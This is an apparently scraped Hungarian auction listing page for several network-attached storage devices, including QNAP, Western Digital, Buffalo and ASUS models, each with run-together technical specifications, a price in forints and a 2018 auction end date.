(ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőApple Safari 7 / Google Chrome / Microsoft Internet Explorer 10 / Mozilla FirefoxTámogatott szerver operációs rendszerekWindows Server 2003 x64 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016HálózatiSCSI-támogatás✔ LAN-ébresztési funkció✔ Dynamic DNS (DDNS)✔ LAN adatátviteli sebesség1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)7, 06 WAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeKülsőTápegység (PSU) teljesítménye36 WTeljesítményfelvétel (HDD készenlét)2, 9 WMéretek és súlySúly1. 86 kgCsomagolás tartalmaGyorstelepítési útmutató✔
QNAP TS-128A
Jelenlegi ára: 47 900 Ft
Az aukció vége: 2018-10-27 17:08
          Western Digital My Cloud EX2 Ultra - Jelenlegi ára: 64 900 Ft      Cache   Translate Page      
TípusNASSzínfeketeRAID269155 / 1 / JBODUSB 3. 02xProcesszorProcesszormodellArmada 385Processzor órajele1, 3 GHzProcesszormagok száma2 ProcessszorcsaládMarvellProcesszor típusaMarvell Armada 385 - 1, 30GHz Dual CoreMemóriaBelső memória mérete1 GBBelső memória típusaDDR3Operációs rendszerOperációs rendszerMy Cloud OSKompatibilitásTámogatott fájlrendszerekFAT / FAT32 / HFS / NTFS / ext2 / ext3 / ext4Támogatott merevlemezHDDTámogatott Windows verziókWindows 10 Education / Windows 10 Education x64 / Windows 10 Enterprise / Windows 10 Enterprise x64 / Windows 10 Home / Windows 10 Home x64 / Windows 10 Pro / Windows 10 Pro x64 / Windows 7 Enterprise / Windows 7 Enterprise x64 / Windows 7 Home Basic / Windows 7 Home Basic x64 / Windows 7 Home Premium / Windows 7 Home Premium x64 / Windows 7 Professional / Windows 7 Professional x64 / Windows 7 Starter / Windows 7 Starter x64 / Windows 7 Ultimate / Windows 7 Ultimate x64 / Windows 8 / Windows 8. 1 / Windows Vista Business / Windows Vista Business x64 / Windows Vista Enterprise / Windows Vista Enterprise x64 / Windows Vista Home Basic / Windows Vista Home Basic x64 / Windows Vista Home Premium / Windows Vista Home Premium x64 / Windows Vista Ultimate / Windows Vista Ultimate x64 / Windows XP Home / Windows XP Home x64 / Windows XP Professional / Windows XP Professional x64CsatlakozókUSB portVanPortokEthernet LAN (RJ-45) portok száma1 TartozékokKülső áramerősségszolgáltató✔ Gyors telepítési útmutató✔ Kábelek mellékelveLAN (RJ-45)TeljesítményDevice classHome & Home OfficeBackup funkció✔ Backup jellemzőkCloudFelhasználók száma800 felhasználTámogatott biztonsági algoritmus256-bit AESTámogatott Linux verziókVanTámogatott Mac operációs rendszer verziókMac OS X 10. 6 Snow Leopard / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksTanúsítványokDLNA tanúsítvánnyal✔ TárolóegységTelepített tároló típusaNincsMeghajtó mérete6. 350000006477 / 8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészSerial ATA IIITámogatott meghajtók száma2 RAID-szintek273524 / 1 / JBODRAID támogatás✔ Ergonómia / FormatervezésGépház típusaAsztaliLED-kijelzőkStatusKábelzár csatlakozóVanHűtés típusaAktívEnergiamenedzsmentAC bemeneti frekvencia50 / 60 HzAC adapter bemeneti feszültség100 ? 240 VKörnyezeti feltételekTárolási hőmérséklettartomány (T-T)-40 ? 70 °CÜzemi hőmérséklettartomány (T-T)0 - 35 °CKapcsolatUSB 3. 0 (3. 1 Gen 1) Type-A portok száma2HálózatiSCSI-támogatás✔ DHCP kliens✔ Link-aggregáció✔ LAN-ébresztési funkció✔ Óriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásTápegység helyeKülsőMéretek és súlySúly0. 8 kgSzélesség99, 1 mmMagasság17, 14 cmMélység154, 9 mm
Western Digital My Cloud EX2 Ultra
Jelenlegi ára: 64 900 Ft
Az aukció vége: 2018-10-27 11:22
          QNAP TVS-473E - Jelenlegi ára: 387 900 Ft      Cache   Translate Page      
TápegységKülsőCsatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok4 Mikrofonbemenet✔ HDMI portok mennyisége2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma4 USB port✔ HDMI-verzió1, 4 PCI Express x4 (Gen 3. x) bővítőhelyek2 3, 5 mm-es (1/8 hüvelykes) kimenet✔ Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CTárolási relatív páratartalmi tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma4 Háttértár interfészM. 2 / Serial ATA IIITárolóeszköz mérete6. 350000006477 / 8. 8900000090678 cmRAID támogatás✔ Hot-swap meghajtórekeszek✔ RAID-szintek0 / 5 / 10 JBODTámogatott fájlrendszerekFAT32 / HFS+ / NTFS / exFAT / ext3 / ext4Online RAID migráció✔ Online RAID bővítés✔ Speciális processzor funkciókIntel? AES New Instructions (Intel? AES-NI)✔ KialakításTermék színeSzürkeBeépített kijelző✔ Beépített hangszóró(k)✔ Gépház típusaToronyHűtés típusaAktívVentilátorok száma2 ventilátorok számaVentilátor átmérője12 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonKijelző típusaLCDVentilátor átmérője 26 cmBeépített hangszórók száma2 Tömeg és méretekTömeg4, 9 kgSzélesség19, 93 cmMélység27, 96 cmMagasság18, 82 cmProcesszorProcesszormodellRX-421BDA processzor frekvenciája2, 1 GHzA processzor növelési frekvenciája3, 4 GHzProcesszormagok4 Processzor üzemmódok64 -bitProcessszorcsaládAMD RMemóriaMemória bővítőhelyek4 x SODIMM DDR4RAM kapacitás4 GBRAM típusaDDR4Maximális RAM támogatás64 GBFlash memória mérete512 MBTartozékokCsavarok száma14 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Támogatott Mac operációs rendszerekMac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNHangjelző✔ Az operációs rendszer verziója4, 3 Biztonsági algoritmusok256 -bit AESTámogatott Linux operációs rendszerek✔ Backup funkció✔ Biztonsági mentés gomb✔ Univerzális Plug and Play (UPnP)✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőApple Safari 7 / Google Chrome / Microsoft Internet Explorer 10 / Mozilla FirefoxTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016HálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ LAN-ébresztési funkció✔ Dynamic DNS (DDNS)✔ Óriáskeret támogatással✔ LAN adatátviteli sebesség1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeBeépítettTápegység (PSU) teljesítménye250 WGrafikaFedélzeti grafikus adapter-modellAMD Radeon R7Méretek és súlySúly5. 7 kgCsomagolás tartalmaGyorstelepítési útmutató✔
QNAP TVS-473E
Jelenlegi ára: 387 900 Ft
Az aukció vége: 2018-10-27 17:08
          Buffalo TeraStation 1400 - Jelenlegi ára: 366 900 Ft      Cache   Translate Page      
KialakításTermék színeFekete / EzüstLED-kijelzőkLAN / Biztosított áramellátás / VanHűtés típusaAktívVentilátorok száma2 ventilátorok számaTömeg és méretekTömeg9 kgSzélesség43 cmMélység42 cmMagasság4, 43 cmCsatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok1 USB 2. 0 portok száma1 USB 3. 0 (3. 1 Gen 1) A típusú portok száma2 Üzemi körülményekÜzemi hőmérséklettartomány (T-T)5 ? 35 °CRelatív üzemi páratartalom-tartomány20 ? 80 %AdattárolásTárolási kapacitás összesen11, 71875 TBBeszerelt háttértárak✔ Beszerelt háttértár típusaHDDA telepített tárolómeghajtók száma4 Támogatott tároló meghajtó típusokHDDA támogatott tárolómeghajtók száma4 Háttértár interfészSerial ATA II / Serial ATA IIIHáttértár kapacitása2, 9296875 TBRAID támogatás✔ Hot-swap meghajtórekeszek✔ RAID-szintek0 / 5 / 10 JBODMax. támogatott tárolókapacitás16 TBProcesszorProcesszormodellArmada 370A processzor frekvenciája1, 2 GHzProcesszormagok2 ProcessszorcsaládKarMemóriaRAM kapacitás512 MBRAM típusaDDR3TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 7 Enterprise / Windows 7 Enterprise x64 / Windows 7 Home Basic / Windows 7 Home Basic x64 / Windows 7 Home Premium / Windows 7 Home Premium x64 / Windows 7 Professional / Windows 7 Professional x64 / Windows 7 Starter / Windows 7 Starter x64 / Windows 7 Ultimate / Windows 7 Ultimate x64 / Windows 8 / Windows 8 Enterprise / Windows 8 Enterprise x64 / Windows 8 Pro / Windows 8 Pro x64 / Windows 8 x64 / Windows 8. 1 / Windows 8. 1 Enterprise / Windows 8. 1 Enterprise x64 / Windows 8. 1 Pro / Windows 8. 1 Pro x64 / Windows 8. 1 x64 / Windows Vista Business / Windows Vista Business x64 / Windows Vista Enterprise / Windows Vista Enterprise x64 / Windows Vista Home Basic / Windows Vista Home Basic x64 / Windows Vista Home Premium / Windows Vista Home Premium x64 / Windows Vista Ultimate / Windows Vista Ultimate x64 / Windows XP Home / Windows XP Home x64 / Windows XP Professional / Windows XP Professional x64Támogatott Mac operációs rendszerekMac OS X 10. 4 Tiger / Mac OS X 10. 5 Leopard / Mac OS X 10. 6 Snow Leopard / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksTelepített operációs rendszerLinuxTámogatott Linux operációs rendszerek✔ Igazgatási protokollokHTTP / HTTPSBackup funkció✔ Hatékony NovaBACKUP Professional biztonsági mentés✔ Webalapú kezelés✔ Támogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2003 R2 / Windows Server 2003 x64 / Windows Server 2008 / Windows Server 2008 R2 / Windows Server 2008 R2 x64 / Windows Server 2008 x64 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2012 R2 x64 / Windows Server 2012 x64HálózatTámogatott hálózati protokollokTCP / IPAdatátviteli protokollokCIFS / SMB / AFP / NFS / HTTP / HTTPS / FTP / SFTPLAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)30 WAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeKülsőTeljesítményfelvétel (max. )140 W
Buffalo TeraStation 1400
Jelenlegi ára: 366 900 Ft
Az aukció vége: 2018-10-19 14:42
          ASUS AS6104T - Jelenlegi ára: 159 900 Ft      Cache   Translate Page      
TípusNASSzínfeketeProcesszorProcesszormodellN3050Processzor órajele2160000000 MhzProcesszormagok száma2 Processzor package size25Rendszer bus sebesség5 GT/sProcesszor cache típusaL2Processzorszálak száma2 LéptetőC0Tjunction90 °CProcesszor kódnévBraswellProcesszor által támogatott maximális belső memória8 GBThermal Design Power (TDP)6 WConflict Free processor✔ CPU configuration (max)1 Processzor ARK ID87257PCI Express csatornák maximális száma4 Processzor gyártási technológiája14 nmScenario Design Power (SDP)4 WProcesszor üzemmódok64 bitL2-gyorsítótár2 MBProcessszorcsaládIntel? Celeron? Processzor cache mérete2 MBMemóriaBelső memória mérete2 GBTámogatott maximális memória8 GBMemória bővítőhelyek2 SO-DIMMBelső memória típusaDDR3LMemória órajel1600 MhzKompatibilitásTámogatott fájlrendszerekFAT32 / NTFS / ext4Támogatott merevlemezHDD / SSDTámogatott Windows verziókVanOperációs rendszerOperációs rendszer2. 6CsatlakozókUSB portVanIntegrált GPUAlapfrekvencia320 MhzTámogatott kijelzők száma3 ModellIntel? HD GraphicsIntegrált videó chip burst frekvencia600 MhzPortokeSATA portok száma2 HDMI portok száma1 Ethernet LAN (RJ-45) portok száma2 TeljesítményDevice classHome & Home OfficeBackup funkció✔ Backup jellemzőkCloudTöbbnyelvű ügyfélszolgálat✔ Zajszint nyugalmi állapotban17, 6 dBTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008Támogatott Linux verziókVanTámogatott Mac operációs rendszer verziókMac OS X 10. 6 Snow Leopard / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksProcesszor speciális funkciókEmbedded options available✔ Intel Stable Image Platform Program (SIPP) verzió0. 00Nyugalmi állapot✔ Intel Small Business Advantage (SBA) verzió0. 00Intel Smart Response Technology verzió0. 00Hőmérséklet monitoring Technológia✔ Enhanced Intel SpeedStep Technológia✔ Intel Identity Protection Technológia✔ Intel Wireless Display (WiDi) Technológia✔ Execute Disable Bit✔ Intel? Quick Sync Video Technológia✔ Intel Clear Video HD Technológia✔ Intel AES New Instructions✔ Intel Enhanced Halt State✔ Intel VT-x with Extended Page Tables (EPT)✔ Intel? Secure Key✔ Intel Clear Video Technológia✔ Intel Clear Video Technológia for MID✔ Intel 64✔ Intel Identity Protection Technológia verzió1. 00Intel Secure Key Technológia verzió1 Intel Virtualization Technológia (VT-x)✔ Intel HD Audio Technology✔ UART✔ Intel Smart Connect Technology version0. 00Intel Secure Boot✔ Memory channels supported by processorDuplaMemory types supported by processorDDR3L-SDRAMIntel Secure Boot Technology version1 Number of execution units12 TanúsítványokTanúsítványokFCC / CE / VCCI / BSMI / C-TickTárolóegységTelepített tároló típusaNincsMaximális tárolókapacitás32 TBMeghajtó mérete6. 350000006477 / 8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészSerial ATA II / Serial ATA IIITámogatott meghajtók száma4 RAID-szintek273524 / 1 / 5 / 6 / 10RAID támogatás✔ Ergonómia / FormatervezésHűtés típusaAktívGrafikus megjelenítésMaximális integrált grafikus memória8 GBHűtésVentilátorok száma1 fanVentilátor átmérő12 cmEnergiamenedzsmentÁramfogyasztás (max)27, 5 WÁramfogyasztás (alvó üzemmód)0, 95 WAC adapter bemeneti feszültség100 ? 240 VÁramfogyasztás13, 6 WKörnyezeti feltételekÜzemi hőmérséklettartomány (T-T)5 - 35 °CRelatív üzemi páratartalom-tartomány5 - 95%KapcsolatUSB 2. 0 csatlakozók száma2 USB 3. 0 (3. 1 Gen 1) Type-A portok száma3HálózatDHCP kliens✔ LAN-ébresztési funkció✔ Óriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ AlaplapProcesszorfoglalatBGA 1170Méretek és súlySzélesség170 mmMagasság18, 55 cmMélység230 mmBővítőhelyekPCI Express verzió2. 0
ASUS AS6104T
Jelenlegi ára: 159 900 Ft
Az aukció vége: 2018-10-27 09:07
          QNAP TS-431P hálózati tároló processzorral, AnnapurnaLabs Alpine AL-212 Dual-Core, 1.70GHz, 4-bay - Jelenlegi ára: 122 900 Ft      Cache   Translate Page      
További jellemzőkEnergiakezelés✔ Backup szoftver✔ RAIDVanHDD maximális száma4 Merevlemez férőhelyek száma4 dbDLNA támogatás✔ RAID szintek269412 / 1 / 5 / 6 / 10TápegységKülsőRAID támogatás✔ Csatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma3 Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CRelatív üzemi páratartalom-tartomány5 ? 95 %AdattárolásTárolási kapacitás összesen7, 8125 TBBeszerelt háttértárak✔ Beszerelt háttértár típusaHDDA telepített tárolómeghajtók száma4 Támogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma4 Háttértár interfészSerial ATA II / Serial ATA IIIHáttértár kapacitása1, 953125 TBTárolóeszköz mérete6. 350000006477 / 8. 8900000090678 cmRAID támogatás✔ Hot-swap meghajtórekeszek✔ RAID-szintek0 / 5 / 10 JBODTámogatott fájlrendszerekFAT32 / HFS+ / NTFS / ext3 / ext4Általános tulajdonságokBiztonságNetwork Access Protection with Auto-blocking: SSH / Telnet / HTTP(S) / FTP / CIFS / SMB / AFP / CIFS Host Access Control for Shared Folders / AES 256-bit volume-based data encryption / AES 256-bit External Drive Encryption / Importable SSL Certi? cate / Instant Alert via E-mail / SMS / and Beep / Antivirus ProtectionPortok3 x USB 2. 0Hűtés1 x 120 mmProcesszorAnnapurnaLabs Alpine AL-212Belső memória1 / 512 MB NAND FlashMerevlemezek száma4 RAID műveletek0 / 5 / 10 JBODHálózat2 ? 45Méretek (D x H x W)169 x 160 x 219Nyomtató támogatás✔ KialakításTermék színeFehérLED-kijelzőkHDD / LAN / Státusz / USBGépház típusaToronyHűtés típusaAktívVentilátorok száma1 ventilátorok számaVentilátor átmérője12 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonTömeg és méretekSzélesség18 cmMélység23, 5 cmMagasság17, 7 cmProcesszorProcesszormodellAL212A processzor frekvenciája1, 7 GHzProcesszormagok2 ProcessszorcsaládAnnapurna LabsProcesszor típusaAnnapurna Labs Alpine AL-212 - Dual Core - 1. 7 GHzMemóriaRAM kapacitás1 GBRAM típusaDDR3Flash memória mérete512 MBCsatlakozókMerevlemez csatlakozóSATA2 / SATA3Ethernet✔ USB csatlakozóVanTartozékokKülső áramerősségszolgáltató✔ Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 Education / Windows 10 Education x64 / Windows 10 Enterprise / Windows 10 Enterprise x64 / Windows 10 Home / Windows 10 Home x64 / Windows 10 Pro / Windows 10 Pro x64 / Windows 7 Enterprise / Windows 7 Enterprise x64 / Windows 7 Home Basic / Windows 7 Home Basic x64 / Windows 7 Home Premium / Windows 7 Home Premium x64 / Windows 7 Professional / Windows 7 Professional x64 / Windows 7 Starter / Windows 7 Starter x64 / Windows 7 Ultimate / Windows 7 Ultimate x64 / Windows 8 / Windows 8 Enterprise / Windows 8 Enterprise x64 / Windows 8 Pro / Windows 8 Pro x64 / Windows 8 x64Támogatott Mac operációs rendszerek✔ Integrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNHangjelző✔ Az operációs rendszer verziója4, 2 . 4Biztonsági algoritmusok256 -bit AESBeépített iTunes kiszolgáló✔ Beépített FTP kiszolgáló✔ Rendszernapló✔ MappamegosztásCIFS / SMBTámogatott Linux operációs rendszerek✔ Macintosh rendszerrel kompatibilis✔ Backup funkció✔ S. M. A. R. T. támogatás✔ Újraindító gomb✔ Webalapú kezelés✔ Hozzáférési vezérlő lista (ACL)✔ Támogatott böngészőInternet Explorer 10+ / Firefox 8+ / Safari 4+ / ChromeTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2Zajszint19, 5 dBTanúsítványokDLNA tanúsítvánnyal✔ HálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokIPv4 / IPv6 / CIFS / SMB / AFP (v3. 3) / NFS(v3) / FTP / FTPS / SFTP / TFTP / HTTP(S) / Telnet / SSH / iSCSI / SNMP / SMTP / SMSCÓriáskeret támogatással✔ LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)26, 7 WAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeKülsőTápegység (PSU) teljesítménye90 WTápegységek száma1 Ventilátor feszültség12 VMéretek és súlySúly4. 3 kgSzélesség180 mmMagasság17, 7 cmMélység225 mmCsomagolás tartalmaGyorstelepítési útmutató✔
QNAP TS-431P hálózati tároló processzorral, AnnapurnaLabs Alpine AL-212 Dual-Core, 1.70GHz, 4-bay
Jelenlegi ára: 122 900 Ft
Az aukció vége: 2018-10-27 06:15
          QNAP TVS-882 - Jelenlegi ára: 837 900 Ft      Cache   Translate Page      
TípusNASSzínszürkeProcesszorProcesszormodelli5-6500Processzor órajele3600000000 MhzProcesszormagok száma4 Processzor package size37. 5ProcesszorkódSR2BXRendszer bus sebesség8 GT/sProcesszor cache típusaSmart CacheProcesszorszálak száma4 LéptetőR0Bus típusDMI3Processzor kódnévSkylakeProcesszor által támogatott maximális belső memória64 GBProcesszorsorozatIntel Core i5-6500 Desktop seriesThermal Design Power (TDP)65 WConflict Free processor✔ Kihúzható füles tok71 °CCPU configuration (max)1 Processzor ARK ID88184PCI Express csatornák maximális száma16 Processzor gyártási technológiája14 nmProcesszor üzemmódok64 bitSkálázhatóság1SProcesszor által támogatott memória sávszélesség (max)34, 1 GB/sProcessszorcsaládIntel Core i5Processzor cache mérete6 MBMemóriaBelső memória mérete16 GBTámogatott maximális memória32 GBMemória bővítőhelyek4Belső memória típusaDDR4Flash memória mérete512 MBOperációs rendszerOperációs rendszer4. 2KompatibilitásTámogatott fájlrendszerekFAT32 / HFS+ / NTFS / ext3 / ext4Támogatott merevlemezHDD / SSDTámogatott Windows verziókWindows 10 Education / Windows 10 Education x64 / Windows 10 Enterprise / Windows 10 Enterprise x64 / Windows 10 Home / Windows 10 Home x64 / Windows 10 Pro / Windows 10 Pro x64 / Windows 7 Enterprise / Windows 7 Enterprise x64 / Windows 7 Home Basic / Windows 7 Home Basic x64 / Windows 7 Home Premium / Windows 7 Home Premium x64 / Windows 7 Professional / Windows 7 Professional x64 / Windows 7 Starter / Windows 7 Starter x64 / Windows 7 Ultimate / Windows 7 Ultimate x64 / Windows 8 / Windows 8 Enterprise / Windows 8 Enterprise x64 / Windows 8 Pro / Windows 8 Pro x64 / Windows 8 x64CsatlakozókUSB portVanIntegrált GPUAlapfrekvencia350 MhzDinamikus frekvencia (max)1050 MhzTámogatott kijelzők száma3 OpenGL verzió4, 4 ModellIntel? HD Graphics 530ID1912PortokHDMI portok száma3 Ethernet LAN (RJ-45) portok száma4 TartozékokGyors telepítési útmutató✔ Csavarok száma28 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményIntegrált kapcsoló✔ Device classHome & Home OfficeBackup funkció✔ Backup jellemzőkCloud / iSCSI LUNS. M. A. R. T. támogatás✔ Újraindító gomb✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Beépített FTP server✔ Támogatott böngészőMicrosoft Internet Explorer 10+ / Mozilla Firefox 8+ / Apple Safari 4+ / Google ChromeHot spare✔ Támogatott biztonsági algoritmusHTTPS / SNMP / SSL / TLSTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2Támogatott Linux verziókVanTámogatott Mac operációs rendszer verziókMac OS X 10. 0 Cheetah / Mac OS X 10. 1 Puma / Mac OS X 10. 10 Yosemite / Mac OS X 10. 11 El Capitan / Mac OS X 10. 2 Jaguar / Mac OS X 10. 3 Panther / Mac OS X 10. 4 Tiger / Mac OS X 10. 5 Leopard / Mac OS X 10. 6 Snow Leopard / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksZajszint21, 8 dBProcesszor speciális funkciókGraphics & IMC lithography14 nmIntel Stable Image Platform Program (SIPP) verzió1. 00Nyugalmi állapot✔ Intel Small Business Advantage (SBA) verzió1. 00Hőmérséklet monitoring Technológia✔ Enhanced Intel SpeedStep Technológia✔ Intel Wireless Display (WiDi) Technológia✔ Execute Disable Bit✔ Intel Virtualization Technology for Directed I/O (VT-d)✔ Intel Stable Image Platform Program (SIPP)✔ Intel? Turbo Boost Technológia✔ Intel vPro Technológia✔ Intel? Quick Sync Video Technológia✔ Intel Clear Video HD Technológia✔ Intel? Insider? ✔ Intel Smart Cache✔ Intel AES New Instructions✔ Intel Trusted Execution Technológia✔ Intel Enhanced Halt State✔ Intel VT-x with Extended Page Tables (EPT)✔ Intel? OS Guard✔ Intel Clear Video Technológia✔ Intel Clear Video Technológia for MID✔ Intel 64✔ Intel Secure Key Technológia verzió1 Intel Virtualization Technológia (VT-x)✔ Intel TSX-NI verzió1. 00Thermal solution specificationPCG 2015CIntel? InTru? 3D Technology✔ Memory channels supported by processorDuplaMemory types supported by processorDDR3L-SDRAM / DDR4-SDRAMMemory voltage supported by processor1, 35 VErgonómia / FormatervezésGépház típusatoronyLED-kijelzőkVanHűtés típusaAktívKijelző típusaLCDBeépített kijelző✔ Grafikus megjelenítésMaximális integrált grafikus memória1, 74 GBHűtésVentilátorok száma2 fanVentilátor átmérő8 cmTanúsítványokDLNA tanúsítvánnyal✔ TárolóegységTelepített tároló típusaNincsMeghajtó mérete6. 350000006477 / 8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészM. 2 / Serial ATA IIITámogatott meghajtók száma10 RAID-szintek273524 / 1 / 5 / 6 / JBODRAID támogatás✔ EnergiamenedzsmentKimeneti áramerősség1, 5 AAC bemeneti frekvencia50 / 60 HzAC adapter bemeneti feszültség100 ? 240 VEnergiakezelés✔ Környezeti feltételekÜzemi hőmérséklettartomány (T-T)0 - 40 °CRelatív üzemi páratartalom-tartomány5 - 95%KapcsolatUSB 3. 0 (3. 1 Gen 1) Type-A portok száma5HálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ Link-aggregáció✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokCIFS / SMB / AFP (v3. 3) / NFS(v3) / FTP / FTPS / SFTP / TFTP / HTTP(S) / Telnet / SSH / iSCSI / SNMP / SMTP / and SMSCÓriáskeret támogatással1 LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásTápegység helyebeépítettTápegységek száma1 Tápegység (PSU) kapacitás250 WAlaplapProcesszorfoglalatLGA 1151 (Socket H4)Méretek és súlySúly9. 05 kgSzélesség292, 8 mmMagasság23, 19 cmMélység319, 8 mmBővítőhelyekPCI Express verzió3. 0PCI Express konfiguráció1x16, 2x8, 1x8+2x4BiztonságJelszavas hitelesítés✔ Technikai részletekBeépített UPnP AV médiaszerver✔ System log✔ Berregő (áramszaggató)✔ FunkciókMappamegosztásCIFS / SMBMegosztott mappák elérési jogainak kezelése✔ CsomagolásCsomagolás nettó súly10, 8 kg
QNAP TVS-882
Jelenlegi ára: 837 900 Ft
Az aukció vége: 2018-10-27 10:37
          QNAP TVS-882ST3 - Jelenlegi ára: 1 199 000 Ft      Cache   Translate Page      
KialakításTermék színeFeketeLED-kijelzőkHDD / Biztosított áramellátás / USBBeépített kijelző✔ Gépház típusaToronyHűtés típusaAktívVentilátorok száma1 ventilátorok számaVentilátor átmérője12 cmKábelzár csatlakozó✔ Kábelzár-bővítőhely típusaKensingtonKijelző típusaLCMTömeg és méretekTömeg3, 97 kgSzélesség18 cmMélység23, 5 cmMagasság17, 7 cmTovábbi jellemzőkEnergiakezelés✔ Csatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok4 HDMI portok mennyisége1 USB 3. 0 (3. 1 Gen 1) A típusú portok száma2 Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CRelatív üzemi páratartalom-tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDD / SSDA támogatott tárolómeghajtók száma8 Háttértár interfészSerial ATA IIITárolóeszköz mérete6, 350000006477 cmRAID támogatás✔ RAID-szintek0 / 5 / 10 JBODTámogatott fájlrendszerekFAT32 / HFS+ / NTFS / exFAT / ext3 / ext4Speciális processzor funkciókIntel? Wireless Display (Intel? WiDi)✔ Intel? Smart Response Technology✔ Intel Hyper-Threading Technology (Intel? HT Technology)✔ Intel? Turbo Boost Technology2 Intel? Small Business Advantage (Intel? SBA)✔ Enhanced Intel? SpeedStep Technology✔ Intel? Clear Video HD Technology (Intel? CVT HD)✔ Intel? Clear Video Technology✔ Intel? InTru? 3D Technology✔ Intel? Insider? ✔ Intel? Quick Sync Video Technology✔ Intel? AES New Instructions (Intel? AES-NI)✔ Intel? Trusted Execution Technology✔ Intel? Enhanced Halt State✔ Intel? VT-x with Extended Page Tables (EPT)✔ Intel? Secure Key✔ Intel? Stable Image Platform Program (SIPP)✔ Intel? OS Guard✔ Intel? Clear Video technológia mobil internet eszközökhöz (Intel CVT for MID)✔ Intel? 64✔ Execute Disable Bit✔ Hőfigyelő technológiák✔ Intel? Virtualization Technology for Directed I/O (VT-d)✔ Intel? Virtualization Technology (VT-x)✔ Intel? TSX-NI✔ Intel? My WiFi Technology (Intel? MWT)✔ Intel? Flex Memory Access✔ Tétlen állapotok✔ Graphics & IMC lithography14 nmIntel Smart Response Technology verziója1 Intel Secure Key Technology verziója1 Intel Small Business Advantage (SBA) verziója1 Intel TSX-NI verziója1 A PCI Expressz sávok maximális száma16 A processzor által támogatott memóriacsatornákDuplaA processzor által támogatott memóriatípusokDDR3L-SDRAM / LPDDR3-SDRAM / DDR4-SDRAMProcesszorProcesszormodellI7-6700HQProcesszorkódSR2FQLéptetőR0Tjunction100 °CThermal Design Power (TDP)45 WA processzor frekvenciája2, 6 GHzA processzor növelési frekvenciája3, 5 GHzProcesszormagok4 Processzorszálak8 A buszrendszer sebessége8 GT/másodpercProcesszor gyorsítótár6 MBA processzor gyorsítótárának típusaSmart CacheProcesszor litográfia14 nmProcesszor üzemmódok64 -bitA processzor kódneveSkylakeProcesszor sorozatIntel Core i7-6700 Mobile seriesPCI-expressz csatlakozók verziója3 PCI Express konfigurációk1 x 16. 2 x 8. 1 x 8 